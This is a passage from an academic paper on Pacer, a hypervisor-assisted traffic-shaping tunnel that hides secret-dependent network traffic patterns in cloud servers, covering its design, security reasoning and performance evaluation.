network stability and fairness, but does not reveal secrets since
it reacts to network conditions, which themselves depend only

Figure 2: Cloaked tunnel (one endpoint)

on shaped and third-party traffic.

3.1 Idealized tunnel design
Figure 2 shows the cloaked tunnel’s architecture. The tunnel
protocol stack runs on both tunnel endpoints. (Only one of
two symmetric endpoints is shown in the figure.) The stack
consists of a shaping layer on top of a modified transport layer
(e.g., TCP) on top of the encryption layer, e.g. IPSec. These
layers rest on conventional IP and link layers. Each tunnel is
associated with a flow identified by a 5-tuple of source and
destination IP addresses and ports, and the transport protocol.4

The shaping layer initiates transmissions according to a
schedule and pads packets to a uniform size. It interacts with
applications via a set of shared, lock-free queues. The layer
takes application data from a per-flow outbound queue and
transmits it in the tunnel. It places incoming data from the
tunnel into a per-flow inbound queue. Finally, it receives traf-
fic indicators and per-flow cryptographic keys (to be used by
the encryption layer) via per-application command queues.

Overall, the shaping layer shapes each flow separately, and
then multiplexes the shaped traffic of all flows onto the same
physical links at the granularity of packets (R2 of §1).

A user-level gray-box profiler, ProfPace, analyzes time-
stamps and traffic indicators collected by the tunnel, and gener-
ates and stores transmit schedules in a schedule database (§5).

Assumptions. The tunnel design presented here relies on
some idealized assumptions, which are relaxed in the practi-
cal design of §4. To ensure that packet transmissions are not
delayed by secret-dependent contributions (property P1), the
design assumes that processing delays in the tunnel network
stack are not influenced by secrets, even indirectly. This re-
quires that: (i) the tunnel’s layers—especially the shaping,
transport, and encryption layers, which operate on cleartext
data—execute in constant time, i.e., they avoid data-dependent
control flow and memory access patterns; and (ii) the execu-
tion of the tunnel network stack is performance-isolated from
the application and any other computation.

Outbound data processing. A timestamp is taken whenever
data is queued by the application; these timestamps and the

4We describe the tunnel in terms of TCP; however, another stack like
QUIC [37] can also be used.
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recorded traffic indicators are shared with the gray-box pro-
filer. The shaping layer retrieves a chunk of available data
from the flow’s outbound queue whenever a transmission is
due on a flow according to the active schedule (if any) and
TCP’s congestion window is open (see transport layer below).
The layer removes a number of bytes that is the minimum
of (i) the available bytes in the queue, (ii) the receiver’s flow
control window (see transport layer below), and (iii) M, the
network’s maximal transfer unit (MTU) minus the size of all
headers in the stack. If fewer than M bytes (possibly zero)
were retrieved from the queue due to payload unavailability
or flow control, the shaping layer pads the chunk to M bytes.
It adds a header to indicate the amount of padding added.

Transport layer. The transport layer operates as normal,
except for two tunnel-related modifications to satisfy R5: (i)
When the congestion window closes, the transport layer sig-
nals the shaping layer to suspend the flow’s transmit sched-
ule until the window reopens. Schedule suspension ensures
network stability and TCP-friendliness, and does not leak in-
formation because it depends only on network conditions,
which are visible to the adversary anyway. (ii) Flow control
is modified to make it unobservable to the adversary. The
transport layer signals to the shaping layer the size of the flow
control window advertised by the receiver. This window con-
trols how much payload data is included in packets generated
by the shaping layer (see outbound data processing above).
The transport layer transmits packets irrespective of the flow
control window and sends dummy packets while the window
is closed, which are discarded at the tunnel’s other end.

The transport layer passes outbound packets to the encryp-
tion layer, which adds a message authentication code (MAC)
keyed with the flow’s key to a header and encrypts the packet
with the flow’s key. Finally, encrypted packets are passed to
the IP layer, where they are processed as normal down the
remaining stack and transmitted by the NIC.

Inbound packet processing. Packets arriving from the tun-
nel are timestamped; the stamps are shared with the profiler.
Packets pass through the layers in reverse order, causing TCP
to potentially send ACKs. The encryption layer decrypts and
discards packets with an incorrect MAC. The shaping layer
strips padding and places the remaining payload bytes (if any)
into the inbound queue shared with the application.

Schedule installation. A transmit schedule must be installed
on a flow before data can be sent via the tunnel. A schedule
is associated with each flow’s 5-tuple f and a traffic id sid,
and can be of two types: default and custom. A default sid
maps to a default schedule that is installed when the flow is
created. This schedule acts as a template, which is instantiated
automatically by the shaping layer whenever a packet arrives
that indicates the start of a new network exchange (e.g., a
GET request on a persistent HTTP connection), identified by
the TCP PSH flag. The schedule starts at the arrival time of
the packet that causes the schedule’s instantiation.

A default schedule active on a flow can be optionally ex-
tended by a custom schedule in response to an application’s
sid. For instance, a default schedule that allows a TLS hand-
shake might be extended with one that is appropriate for the
response to the first incoming network request. The shaping
layer looks up the schedule associated with sid in the schedule
database and associates it with flow f . Every custom schedule
has a sufficiently large initial delay to allow the schedule to
reach the tunnel endpoint before the first scheduled transmis-
sion, despite any queueing delays. Thus, the precise time of
schedule extension remains unobservable to the adversary.

3.2 Tunnel security

The cloaked tunnel provides the following security property:
The shape of the traffic in the tunnel does not depend on se-
crets. This property holds because our design ensures that
each of the following is either independent of secrets or un-
observable to a network adversary: S1: the chosen transmit
schedules, S2: activations, pauses and resumes of transmit
schedules, S3: timing of updates to active transmit schedules,
S4: deviations from transmit schedules, and S5: transport-
layer responses to transmitted packets.

S1 is secret-independent by assumption on how schedules
are picked. S2 and S5 depend only on public network events
(like congestion signals) by design. S3 cannot be observed
by a network adversary due to the delay at the beginning
of custom schedules. S4 is secret-independent because the
network stack is performance-isolated from the application
so there are no side-channel leaks of secrets into the network
stack, and all processing on cleartext data in the network stack
is constant-time so there are no internal secret-dependent
delays within the network stack.

4 Pacer design

We now describe Pacer, a practical cloaked tunnel design in
the context of a public IaaS Cloud. We first discuss constraints
on the design space in the context of an IaaS Cloud. First, the
tunnel entry must be integrated with the IaaS server. In an
IaaS Cloud, colocated tenants typically share the network link
attached to the server and can therefore indirectly observe
each others’ traffic. Therefore, the tunnel entry must be in the
IaaS server to ensure the attached link lies inside the tunnel.
Second, shaping requires padding, which must be done at
the transport layer to ensure it is unobservable. Third, the
conceptual tunnel design of §3 requires that the network stack
is performance-isolated from secret-dependent computations
and layers that deal with cleartext are constant-time. All guest
computation must be assumed to be secret-dependent in an
IaaS server, suggesting that shaping should be implemented in
the IaaS hypervisor, where it can be executed with dedicated
resources and tightly controlled.
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Figure 3: Pacer architecture and workflow.

One way to meet these requirements is to place the entire
network stack in the hypervisor, performance-isolate it from
guests, and implement it for constant time execution. How-
ever, this approach has many limitations. First, ensuring per-
formance isolation for an entire network stack is technically
challenging even in the hypervisor. Second, implementing
the tunnel layers to ensure constant time execution is not triv-
ial. Third, it defeats NIC virtualization such as SR-IOV, and
requires guests and their network peers to use the network
stack provided by the IaaS platform. Lastly, it complicates
the hypervisor significantly.

Pacer architecture. Pacer addresses the tension outlined
above using a paravirtualization approach. The responsibili-
ties are divided between the hypervisor and the guest OS such
that (i) the hypervisor can ensure tunnel security with only
weak assumptions about a guest’s rate of progress; (ii) the
performance-isolated hypervisor component is small; (iii) the
guest OS changes are modest. We extend the hypervisor to
provide a small set of functions that allows guests to imple-
ment a cloaked tunnel, while guests retain the flexibility to
use custom network stacks on top of a virtualized NIC.

Figure 3 shows Pacer’s architecture and workflow. Unlike
the strictly layered tunnel stack from §3, Pacer factors out
a small set of functions that inherently require performance-
isolation into the lowest layer, implemented in the IaaS hyper-
visor. The HyPace component plugs into Xen and provides
these functions. The GPace component, a Linux kernel mod-
ule, plugs into the guest OS and the OS of network clients
that interact with the guest. It implements the cloaked tunnel
in cooperation with HyPace.

The guest has direct access to a SR-IOV virtual NIC (vNIC)
configured by the hypervisor, which it uses to receive but not
to transmit packets. When the guest application receives a
request, it sends a traffic indicator to GPace, which shares the
indicator along with the flow’s 5-tuple, TCP sequence number,
congestion window, and crypto key in a per-flow datastruc-
ture to HyPace. HyPace instantiates a transmit schedule based
on the indicator 1 . When the application forwards response
bytes to GPace 2 , GPace splits the payload into MTU-sized
packets with necessary padding, placing them in the per-flow
structure, and timestamps the outgoing packets, sharing the
flow’s traffic profile with ProfPace 3 . GPace also generates

retransmission packets for both payload and dummy packets.
At a scheduled transmit time, HyPace picks a payload packet
or generates a dummy packet, encrypts and adds MACs to
the packet, and places it in the NIC transmission queue 4 .
HyPace initiates NIC transmission after masking potentially
secret-dependent delays in its execution 5 . Additionally, it
adapts the schedules in response to network events (e.g., con-
gestion and retransmission) based on GPace’s signals 6 .

By generating dummy packets subject to congestion con-
trol and independently from the guest network stack, Pacer
requires performance-isolation only for HyPace but not the
guest. Overall, Pacer’s security properties remain equivalent
to those of the conceptual cloaked tunnel design (§3.2), as we
discuss in §4.3.

4.1 HyPace
Similar to the shaping layer in the conceptual tunnel de-
sign, HyPace receives traffic indicators from applications (via
GPace), instantiates template schedules in response to incom-
ing packets (signaled by GPace), and initiates transmissions.
To ensure tunnel security despite potentially secret-dependent
delays in the guest, however, HyPace performs additional
functions and there are differences, which we discuss next.

HyPace implements padding, encryption, congestion con-
trol, and retransmissions in cooperation with the guest. Hy-
Pace pauses a transmit schedule when a flow’s congestion
window closes and resumes the schedule when it reopens.
When a transmission is due on a flow and the congestion win-
dow is open, HyPace checks whether the guest has queued
a payload packet. If not, it generates a dummy packet with
proper padding, transport header, and encryption, using the
next available TCP sequence number and the flow key shared
with the guest. Next, it initiates the transmission of the pay-
load or dummy packet, reduces the congestion window ac-
cordingly, and initiates a retransmission timeout for the packet.
Finally, in case of retransmissions (either due to a timeout on
expected ACKs or due to receiving duplicate ACKs), HyPace
extends the transmit schedule with a slot for every packet
retransmitted by GPace. Unlike the generic tunnel, where
the shaping occurs above the transport layer, this schedule
extension is necessary to enable retransmissions. Note that
extending schedules in response to retransmission events is
secure because retransmissions occur only when there are
packet losses in the network, which are publicly observable.

Interface with guests. HyPace shares a memory region pair-
wise with each guest. This region contains a data structure for
each active flow. The flow structure contains the following
information: the connection 5-tuple associated with the flow;
a sequence of transmit schedule objects; the current TCP se-
quence number and the right edge of the congestion window;
the flow’s encryption key; and, a queue of packets prepared
for transmission by the guest. Each transmit schedule object
contains the sid and a starting timestamp. HyPace and the
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guest use lock-free synchronization on data they share.

Packet transmission. HyPace transmits packets according
to the active schedule in the packet’s flow. From a security
standpoint, packets need not be transmitted at the exact sched-
uled times; however, any deviation between scheduled and
actual time must not reveal secrets.

On general-purpose server hardware, it is challenging to
initiate packet transmissions such that their timing cannot
be influenced by concurrent, secret-dependent computations.
Using hardware timers, events can be scheduled with cycle
accuracy. However, the activation time and execution time of
a software event handler is influenced by a myriad of factors.
These may include (i) disabled interrupts at the time of the
scheduled event; (ii) the CPU’s microarchitectural, cache, and
write buffer state at the time of the event; (iii) concurrent
bus traffic; (iv) frequency and voltage scaling; and (v) non-
maskable interrupts during the handler execution. Many of
these factors are influenced by the state of concurrent exe-
cutions on the IaaS server and may therefore carry a timing
signal about secrets in those executions.

Masking event handler execution time. HyPace masks
hardware state-dependent delays to make sure they do not
affect the actual time of transmissions. A general approach
is as follows. First, we determine empirically the distribution
of delays between the scheduled time of a transmission and
the time when HyPace’s event handler writes to the NIC’s
doorbell register, which initiates the transmission. We mea-
sure this distribution under diverse concurrent workloads to
get a good estimate of its true maximum and update the es-
timate whenever a new maximum is observed at any time
during a system’s execution. We relax this estimate further
to account for the possibility that we may not have observed
the true maximum and call this resulting delay δxmit . Second,
for a transmission scheduled at time tn, we schedule a timer
event at tn− δxmit . Third, when the event handler is ready
to write to the NIC doorbell register, it spins in a tight loop
reading the CPU’s clock cycle register until tn is reached and
then performs the write. By spinning until tn, HyPace masks
the event handler’s actual execution time, which could be
affected by secrets.

Unfortunately, the measured distribution of event handler
delays has a long tail. We observed that the median and maxi-
mum delay can differ by three orders of magnitude (tens of
nanoseconds to tens of microseconds). This presents a prob-
lem: With the simple masking approach, a single core could
at most initiate one transmission every δxmit seconds, making
it infeasible to achieve the line rate of even a 10Gbps link.
Instead, we rely on batched transmissions.

Batched transmissions. The solution is based on two in-
sights. (i) Our extensive empirical observations indicate that
the instances in the tail of the event handler delay distributions
tend to occur very infrequently and never in short succession5.

5Without the knowledge of Intel CPU internals, it is difficult to determine

As a result, the maximal delay for transmitting n packets in a
single event handler activation does not increase much with
n. Hence, we can amortize the overhead of masking handler
delays over n packets. (ii) Actual transmission times can be de-
layed as long as the delay does not depend on secrets. Hence,
it is safe to batch transmissions.

We divide time into epochs, such that all packet transmis-
sions from an IaaS server scheduled in the same epoch, across
all guests and flows, are transmitted at the end of that epoch.
An event handler is scheduled once per epoch. It prepares all
packets scheduled in the epoch, spins until the batch trans-
mission time, and then initiates the transmission with a single
write to the NIC’s doorbell register.

Let us consider factors that could delay the actual packet
transmission time once the spinning core issues the door-
bell write. Reads were executed before the spin, so the state
of caches plays no role. The write buffer should be empty
after the spin. Interference from concurrent NIC DMA trans-
fers reflects shaped traffic and is therefore secret-independent.
Similarly, any delays in the NIC itself due to concurrent out-
bound or inbound traffic cannot depend on secrets. However,
the doorbell write itself could be delayed by traffic on the
memory bus, PCIe bus, or bus controller/switch.

Hardware interference and NIC support. The remaining
concern are doorbell write delays due to concurrent bus trans-
actions caused by potentially secret-dependent computations.
We tried to detect such delays empirically and have not been
able to find clear evidence of them. Nonetheless, such delays
cannot be ruled out on general-purpose hardware. A princi-
pled way to rule out such interference would require hardware
support.

For instance, a scheduled packet transmission function pro-
vided by the NIC would be sufficient. Software would queue
packets for transmission with a future transmission time t.
At time t− δbus, the NIC DMAs packets into onboard stag-
ing buffers in the NIC. Here, δbus would be chosen to be
larger than the maximal possible delay due to bus contention.
At time t, the NIC would initiate the transmission automati-
cally. With such NIC support, HyPace would prepare packets
for transmission as usual, but instead of spinning until tn it
would immediately queue packets with t = tn. Incidentally,
NIC support for timed transmissions is also relevant for traffic
management, and a similar “transmit on time stamp” feature
is already available on modern smart NICs [3]. We plan to
investigate NIC support in future work.

HyPace summary. HyPace is a minimal component im-
plemented in the hypervisor, which is performance-isolated
from the guest and enables guests to implement a cloaked
tunnel. HyPace’s careful design masks any potentially secret-
dependent delays in the (re-)transmission of packets, obviat-
ing the need for a constant-time implementation of any part

the exact cause of the tail latencies, but their frequency suggests that they
may be caused by system management interrupts.
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of the tunnel’s network stack or a performance-isolated guest
network stack. At the same time, the batched transmission
design amortizes the high cost of masking and helps to sustain
packet transmission throughput close to the NIC’s line rate.

4.2 GPace

GPace is a kernel module that implements a cloaked tunnel
jointly with HyPace6. GPace pads outgoing TCP segments
to MTU size and removes the padding on the receive path. It
modifies Linux’s TCP implementation to share its per-flow
congestion window and sequence number with HyPace, and to
notify HyPace of retransmissions so that HyPace can extend
the active schedule. Furthermore, in case of a retransmis-
sion, GPace starts with retransmitting the first unacknowl-
edged TCP sequence number. If this sequence number is for
a dummy, GPace generates a dummy packet and sends it to
HyPace, which eventually transmits it at a scheduled time.

Note that TCP’s flow control window is not advertised to
HyPace, causing HyPace to send dummies if the receiver’s
flow control window is closed, as required. GPace timestamps
outbound data arriving from applications and inbound packets
from the tunnel in the vNIC interrupt handler. All timestamps
and recorded traffic indicators are used by the profiler (§5).

GPace allows applications to install session keys and pro-
vide traffic indicators on flows via IOCTL calls on network
sockets. Recall that applications specify a flow, a traffic id sid
and a type as arguments when indicating traffic. GPace passes
this information into the per-flow queue shared with HyPace,
which uses the sid as an index to look up the corresponding
transmit schedule in the database.

Packet processing. With GPace, the guest OS generates
TCP segments as usual, but pads them to the MTU size before
passing them to the IP layer7. Instead of queuing packets in
the vNIC’s transmit queue, GPace queues them in per-flow
transmit queues shared with HyPace. The guest OS processes
incoming packets as usual by accepting interrupts and retriev-
ing packets directly from its vNIC.

Schedule (re-)activation delays. Unlike the conceptual tun-
nel design, Pacer processes inbound network packets and TCP
timeouts in the guest, which is not performance-isolated. Thus,
the delay between two causally related network events e1 and
e2 must be made independent of actual processing delays in
the guest, which may otherwise reveal secrets.

There are three relevant causally related pairs of events: 1)
The arrival of the first packet of a request (e1), which triggers
the instantiation of a default schedule with start time equal to
e1’s timestamp, and the subsequent transmission of a packet
(e2) according to the schedule, 2) An incoming ACK (e1)
that either causes a retransmission or opens the congestion

6On the client-side, GPace terminates the tunnel in the kernel.
7ACKs are not padded as Pacer does not need to hide client traffic shape.

However, ACKs are paced to hide guest’s interference with their transmission.

window and triggers the next packet transmission (e2), and 3)
a network event (e1) that sets a timer and subsequently causes
a retransmission when the timer expires (e2).

In each case, GPace uses masking to hide variability in
the processing time between e1 and e2. Let ε be HyPace’s
epoch length, δdelay be the guest OS’s empirical maximum
inbound packet- and timer-processing time, and δ = ε+δdelay.
Then, for (1): GPace requires that the initial response time of
any default schedule be larger than δ; for (2): GPace ensures
that e2 is scheduled no earlier than δ after e1; for (3): GPace
ensures that e2 is scheduled no earlier than δ after the timeout.
These rules make the guest’s actual processing time between
causally related network events unobservable to the adversary.

GPace summary. GPace is a Linux kernel module that imple-
ments both ends of a cloaked tunnel, using the paravirtualized
support from HyPace. It handles padding in payload packets,
shares outgoing packets with HyPace along with per-flow
sequence numbers and congestion window state, signals Hy-
Pace on installation of a new transmit schedule or update of
a transmit schedule, and masks processing delays between
pairs of causally related network events.

4.3 Pacer security
We built an abstract formal model of HyPace, the guest and
the network, covering essential details such as delays due to
internal side channels and HyPace’s schedule replacement.
We formally proved that our design provides the standard,
strong security property of noninterference [62]—adversaries
learn nothing about guest secrets (in an information-theoretic
sense) despite observing traffic shape. The formal model and
the proof are presented in an extended tech report [49].

Here, we provide some intuitive justification of Pacer’s
security. First, Pacer’s threat model rules out side-channel
leaks to other co-located tenants through shared CPU state,
caches, memory bandwidth and shared Cloud back-end ser-
vices. Second, it is impossible to connect to the victim tenant
as a (fake) client and elicit even one response packet because
Pacer requires packet authentication with pre-shared keys and
GPace silently ignores all unauthenticated packets. Third, the
adversary cannot learn secrets by measuring the shape of the
victim’s traffic because, like the cloaked tunnel of §3, Pacer
ensures that the shape of outgoing traffic does not depend
on secrets. This holds because S1–S5 from §3.2 are either
unobservable or independent of secrets for Pacer as well. The
only nontrivial difference is in the secret-independence of S4:
while the cloaked tunnel relies on performance-isolation and
a constant-time implementation of the network stack, Pacer
relies on the empirical delay-masking mechanisms described
above.

Among the empirical Pacer parameters, only δxmit and
δdelay are relevant for security; all others like the epoch length
and batch size merely affect performance. If actual delays
exceed these two parameters, the actual runtime of the trans-
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mit handler or the inbound packet/timer handlers could be
exposed, which may be correlated with victim secrets.

However, to exploit this vector, a colocated adversary
would have to first find a way to cause a delay in the exe-
cution of these handlers beyond what was observed during
Pacer’s systematic training phase for computing the masking
delays. This is difficult because the adversary is unprivileged
relative to handler executions in both the guest kernel and
the hypervisor and, hence, limited in its ability to cause these
handlers to preempt. Second, the adversary would have to
extract the secret from the observed run time. This is difficult
because the adversary does not generally know the nature of
the correlation between the secret and the observed run time.
Finally, the adversary cannot rely on statistical inference since
it can observe only a single instance of a parameter violation.
(Recall that Pacer updates the parameter whenever a new max-
imum delay is observed.) We discuss the security of Pacer’s
masking in §B.

5 Efficient transmit schedules

In this section, we first explain Pacer’s transmit schedule gen-
eration assuming a single-tier application. In §5.4, we explain
how Pacer can support a multi-tier application by extending
schedules along all network segments of the application.

By default, Pacer can use the same transmit schedule for
all of a guest’s network traffic. This approach does not require
any support from tenant applications and is perfectly secure.
In practice, however, tenants can significantly reduce band-
width and latency overhead by using different schedules for
different partitions of their workload. As long as those parti-
tions are chosen using public information, no information is
leaked. Here, we discuss how tenants can safely partition their
workload and use automatically generated, efficient schedules
for each workload partition.

5.1 Traffic indicators
To use custom schedules, a tenant needs to provide traffic
indicators. These indicators are used by Pacer to instantiate
schedules and, along with other logged information, can be
used by ProfPace to produce transmission schedules automat-
ically (ProfPace is explained in Section 5.3).

In more detail, traffic indicators are integer-valued events
that a guest generates at appropriate points in its execution.
The indicators serve two purposes: (i) They indicate the onset
of a sequence of transmissions of the class corresponding to
the integer sid argument. This information is used by Pacer
to instantiate an appropriate transmission schedule for the
sequence. (ii) They delimit semantically related packet ex-
changes within a network flow, e.g., a client request from the
guest’s corresponding response. The integer sid value of the
indicator identifies the equivalence class of the exchange, e.g.,
a TCP handshake, a TLS handshake, or the workload partition

to which the request and its response belong, such as the video
resolution in case of MedWeb.

Instrumenting guests. Instrumenting guests to provide traf-
fic indicators is straightforward. A guest that responds to
client requests on the network, for instance, simply invokes
an IOCTL call on the network socket before it sends the re-
sponse. A client, on the other hand, calls IOCTL on a new
socket to install a schedule before it sends a request. In §6,
we describe how we instrumented Apache and the PHP ap-
plications we use to provide traffic indicators. Pacer ensures
that the precise timing of the IOCTL call, which could reveal
secrets, is not reflected in the start time of a transmission
schedule. If the schedule is instantiated in response to a net-
work request, then the schedule is anchored at the request’s
arrival time (see §3.1). Otherwise, the schedule is anchored
at a fixed offset from a public event like the top of the hour.

5.2 Choosing workload partitions
The tenant provides a sid value with each indicator, which
identifies the workload partition and enables Pacer to use an
efficient schedule. For performance, the tenant’s choice of sid
values should partition the guest’s network traffic into classes
of similar shape. The lower the variance of shapes in each
class, the less the padding required when a specific network
response is generated, minimizing bandwidth overhead. Re-
turning to video streaming in our running MedWeb example,
there should be a different sid value for every resolution, and
the application should provide this sid for all videos of this
resolution.

For security, it is sufficient that the choice of sid does not de-
pend on secrets. First, certain network interaction patterns are
well-known and don’t reveal secrets. For instance, a network
server’s traffic typically consists of a TCP handshake, a TLS
handshake, and a variable number of requests and responses
on the established connection, followed by a connection show-
down. Using a different sid for each is safe. Second, the tenant
may partition its request-response workload into equivalence
classes, such that the chosen traffic shape reveals the class
but not the specific object requested within a class. Returning
to the MedWeb example, all videos with a given resolution
may be considered a class, for which the same sid is used and
therefore an efficient traffic shape (rate) for that class. If all
videos are available in the same set of resolutions, then the
resolution reveals no information about the content requested.

A tenant may choose to further partition its workload into
clusters such that the partition of a requested object is public,
but not the specific object within the partition. We discuss
clustering heuristics in §C.

5.3 ProfPace
The ProfPace gray-box profiler automatically generates a
transmit schedule for each traffic class as follows. GPace
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Figure 4: Traffic shaping in a 2-tier service.

(§4.2) logs the application-provided traffic indicators (§5)
along with the arrival times of incoming packets and the times
at which the guest OS queues packets for transmission, and
shares the logs with ProfPace. ProfPace, a userspace process
in the guest, analyzes these logs to compute transmit sched-
ules. Specifically, ProfPace segregates the logs into network
interaction segments and bins them by different values of
traffic indicators, sids. The set of observed segments in a bin
are considered samples of the associated equivalence class of
network interactions.

ProfPace characterizes the traffic shape for each class with
a set of random variables: (i) the delay between the first in-
coming packet and the first response packet di, (ii) the delay
between subsequent response packets ds, and (iii) the number
of response packets p. For each equivalence class of network
interactions, the profiler samples the distribution of these ran-
dom variables from the segments in the associated bin.

Finally, ProfPace generates a transmit schedule for sid
based on the sampled distributions of the random variables.
Specifically, it generates a schedule with the 99th %ile of
the initial delay di and the 90th %ile of the spacing among
subsequent packets ds. For the number of packets p, ProfPace
generates the 100th %ile of the number of packets and further
increments this value by a 10%. The choice of percentiles is
determined empirically; the schedules thus generated incur
minimal overheads on the peak throughput of web services
and moderate overheads on the client response latencies at
the cost of a small increase in bandwidth overheads.

Note that the choice of transmit schedules is relevant only
for performance, not security. An inadequate schedule could
increase delays and waste network bandwidth due to extra
padding, but cannot leak secrets. For good performance, dur-
ing profiling runs, the guests should sample the space of work-
loads with different values of public and private information,
as well as different guest load levels, so that the resulting
profiles capture the full space of network traffic shapes.

5.4 Multi-tier shaping
In a multi-tier application, an adversary may observe the traf-
fic in the network segment between each pair of nodes. Miti-
gating NSC leaks, therefore, requires end-to-end shaping of
the traffic. Pacer achieves this by applying a transmit schedule
on the outbound traffic from each node along the network path

of a client request. We illustrate transmit schedules in a 2-tier
application; extending to a multi-tier setup is straightforward.

Figure 4 shows a synchronous 2-tier application, where a
client (C) sends a request, r1, to an application frontend (F),
which in turn sends a request, r2, to a backend (B) and returns
a response, r4, to the client based on the backend’s response,
r3. End-to-end shaping requires shaping the outbound traffic
along the four network segments: C-F, F-B, B-F, and F-C. The
client provides traffic indicators for r1, the frontend for r2 and
r4, and the backend for r3. ProfPace generates the transmit
schedules SCF , SFB, SBF , and SFC by profiling the respective
network segment’s traffic. The initial delay values (di) in
the last three schedules (dFB, dBF , and dFC, respectively) are
profiled relative to the time of the incoming request incident
on the transmitting node, i.e., tF , tB, and tF , respectively. Note
that our prototype does not shape the timing of client requests.

Summary. Pacer enables tenants to optionally partition their
network traffic into public classes, where each class is shaped
differently using custom transmission schedules for efficiency.
To use custom schedules, a tenant merely has to provide
integer-valued traffic indicators at appropriate points in its
execution. The indicators enable Pacer to instantiate efficient
transmission schedules, and enable ProfPace to automatically
generate efficient transmission schedules.

6 Evaluation

We implemented HyPace for Xen and GPace’s Linux kernel
module in 8,100 and ~15K lines of C, respectively. We im-
ported 4,458 lines of AESNI assembly code from OpenSSL
to encrypt packets in HyPace. We implemented ProfPace in
1,800 lines of Python and 1,200 lines of C.

All experiments were performed on Dell PowerEdge R730
servers with Intel Xeon E5-2667, 3.2 GHz, 16 core CPU (two
sockets, 8 cores per socket), 512 GB RAM, and a Broadcom
BCM 57800 10Gbps Ethernet card, which were connected to a
single 10Gbps switch. The NIC was configured to export SR-
IOV vNICs. We disabled hyperthreading, dynamic voltage
and frequency scaling, and power management in the hosts,
which helps to reduce variance in execution time and ensures
consistent, repeatable results across different runs.

We run Xen 4.10.0 hypervisor on each host, which is as-
signed one of the CPU sockets and 40GB RAM. Up to two
cores are configured to execute the HyPace transmit event
handler in parallel; flows are partitioned statically among the
HyPace cores. The guest runs an Ubuntu 16.04 LTS kernel
(version 4.9.5, x86-64) in a VM with 8 cores and 64 GB RAM,
and has access to a vNIC. The VCPUs of the guest VM were
pinned 1-to-1 to cores on the second socket of the host CPU,
and we used Xen’s ‘Null’ scheduler [5] for VM scheduling.
This is in line with our threat model, which assumes that
guests rent dedicated CPU sockets. Network clients run a
modified Ubuntu 16.04 LTS with GPace but no hypervisor.
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Library Traffic indicator Traffic class
Apache Before listen() TCP handshake
Apache Before accept() SSL handshake
Apache Before last SSL handshake msg HTTP requests
MediaWiki After parsing requested page title Page cluster
Video After parsing video title/segment Video cluster, segment
Video Before connect() to memcache TCP handshake
Video Before get request to memcache request (1 MTU)
Memcache Before listen() TCP handshake
Memcache After parsing video title/segment Video cluster, segment

Table 1: Locations of traffic indicator instrumentation

We used Pacer to demonstrate NSC mitigation in the con-
text of a video streaming service and a medical service. We
use Pacer’s traffic shaping to hide from an adversary the spe-
cific video or medical webpage requested from the respective
service, and we evaluate the overhead incurred on client laten-
cies and server throughput in the process. Both the services
are hosted using Apache HTTP Server 2.4.33. Below, we first
describe the services and then the modifications introduced
in various applications to generate traffic indicators.

Video service. We wrote a custom video streaming server
in PHP, which returns video segments in response to client
requests. We evaluated two setups of the service: (i) local:
with the videos hosted on the local VM disk, and (ii) 2-tier:
with the videos hosted in a memcached (v1.6.9) KVS backend.
In the 2-tier setup, we used one frontend and two replicated
KVSes, each hosted in a VM on a separate server. The fron-
tend randomly selects either KVS replica for serving each
video segment. For each segment request, shaping is done
only for the response from the video server to the client in
the local setup, while it is done for the traffic between the
frontend and the KVS selected for the segment, and for the
response from the frontend to the client in the 2-tier setup
(similar to Figure 4).

Medical service. The medical service is a single-tier applica-
tion based on Mediawiki (v1.27.1) [1]. It stores the content
of the medical pages in a database hosted locally on MySQL
5.7.16 and caches a copy of HTML pages generated from the
content in a local file cache. In our experiment, all HTML
pages are cached. When a client requests a page, Mediawiki
queries the database for the page-specific metadata, retrieves
the HTML page from the cache and returns it to the client.

Table 1 shows the code locations in the guest applications
where we inserted 15 LoC each to generate traffic indicators.
We identified and modified these sites manually; automating
the instrumentation is possible but remains future work. No
other changes were required to guest applications.

Evaluation overview. In the following subsections, we con-
sider (i) microbenchmarks to determine HyPace and GPace
configuration parameters; (ii) the tradeoff between spatial
padding overhead and privacy possible due to Pacer’s cluster-
ing, (iii) Pacer’s impact on client latencies and server through-

(a) YouTube videos (b) Medical dataset
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Figure 5: Relative padding overhead vs number of clusters
and minimum cluster size for two corpuses representing real-
world file size distributions (log-log scale).

put in the context of two guest applications; and (iv) an em-
pirical security evaluation of Pacer’s implementation.

6.1 Microbenchmarks
We empirically select the maximum batch size B (number of
packets to be prepared by a HyPace handler) in a suitable
HyPace epoch length ε, and the parameters δxmit and δdelay
from §4. To this end, we ran multiple, 12-hour experiments
with varying network workloads. We requested 100KB-sized
documents from the document server using concurrent clients.
In background, we ran large matrix multiplications on Xen’s
dom0 VM, which used ~12GB RAM and saturated the CPUs.

To determine δxmit , ε and B, we measured the cost of prepar-
ing batches of packets for transmission in HyPace. Over many
observations in the presence of the background load described
above, we first determined the number of packets that can be
safely prepared with different epoch lengths with a single Hy-
Pace handler. Epochs of length 30µs, 50µs, 100µs and 120µs
permitted the preparation of 5, 14, 33 and 42 packets respec-
tively, allowing HyPace to achieve 22%, 28%, 41% and 42%
of the NIC line rate with one core. We set ε to 120µs for all
HyPace handlers.

Based on these results, we run two parallel HyPace handlers
on two separate cores. In this configuration, we repeated our
measurements and chose B = 38 packets and δxmit = 35µs for
each handler. Thus, with two HyPace handlers, Pacer sustains
a line rate of 7.67 Gbps, which is 76.7% of the NIC’s line rate.

δdelay is independent of the number of HyPace threads, and
its average and maximum values observed across all experi-
ment configurations were 3.9ms and 15.8ms, respectively. We
conservatively set δdelay to 20ms.

Note that only δxmit and δdelay are security-relevant param-
eters, which we discuss in detail in §B. Epoch and batch size
only affect performance.

6.2 Spatial padding overhead
We measure the tradeoff between spatial padding overhead
and privacy guarantees when clustering content. The spatial
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Figure 6: Relative padding overhead vs number of clusters
and minimum cluster size (log-log scale) for (a) English Wik-
tionary and (b) English Wikipedia.

padding overhead corresponds to the network bandwidth over-
head for Pacer’s traffic shaping.

We clustered two different datasets using algorithms de-
scribed in §C: (i) a set of 1218 videos downloaded from
YouTube (240p and 720p bitrate, max duration 4.2hr, median
duration 7min, max size 468.7MB, median size 6.2MB), and
(ii) a set of 6879 MedicineNet [2] medical web pages com-
prising diseases, procedures, medications, and supplements
pages (max size 521.9KB, median size 75.2KB). Figure 5
shows the reduction in the average and maximum padding
overhead with increasing number of clusters and decreasing
minimum cluster size (i.e, the minimum number of objects
in each cluster). Compared to the medical dataset, the over-
head reduction is less for videos due to the multi-dimensional
clustering needed for videos. Nonetheless, even clustering the
corpuses into just two clusters leads to at least two orders of
magnitude reduction in the average padding overhead.

We also compare Pacer’s clustering with other shap-
